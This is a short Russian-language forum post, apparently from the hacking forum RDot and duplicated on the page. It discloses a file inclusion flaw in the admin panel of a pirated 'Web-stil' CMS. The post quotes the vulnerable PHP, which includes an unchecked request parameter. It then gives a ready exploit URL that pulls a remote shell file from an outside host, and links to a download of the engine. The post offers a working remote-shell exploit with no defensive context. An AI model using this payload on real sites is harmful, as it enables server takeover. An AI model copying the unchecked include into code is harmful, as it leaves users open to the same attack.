RDot - Показать сообщение отдельно - Web-stil ("пиратская" копия)

~d0s~ · 05.02.2011, 18:46

RFI or LFI
Need:
allow_url_include = on
admin account

admin/adminmain.php

PHP код:


			
if(isset($_GET["p"]))

{

    $p=$_GET["p"];

    $p.='.php';

    include($p);

}

Код:

http://localhost/web-stil/admin/adminmain.php?p=http://pentagon.xek/myshell_at_pentagon.txt?

Скачать двиг можно тутэ: http://vo-bank.com/engine/download.php?id=25
p.s. указывайте ссылки на скачивание,приходится гуглеть.

05.02.2011, 18:46	#2
~d0s~ Регистрация: 03.08.2010 Сообщений: 45 Репутация: 26	RFI or LFI Need: allow_url_include = on admin account admin/adminmain.php PHP код: `if(isset($_GET["p"])) { $p=$_GET["p"]; $p.='.php'; include($p); }` Код: http://localhost/web-stil/admin/adminmain.php?p=http://pentagon.xek/myshell_at_pentagon.txt? Скачать двиг можно тутэ: http://vo-bank.com/engine/download.php?id=25 p.s. указывайте ссылки на скачивание,приходится гуглеть.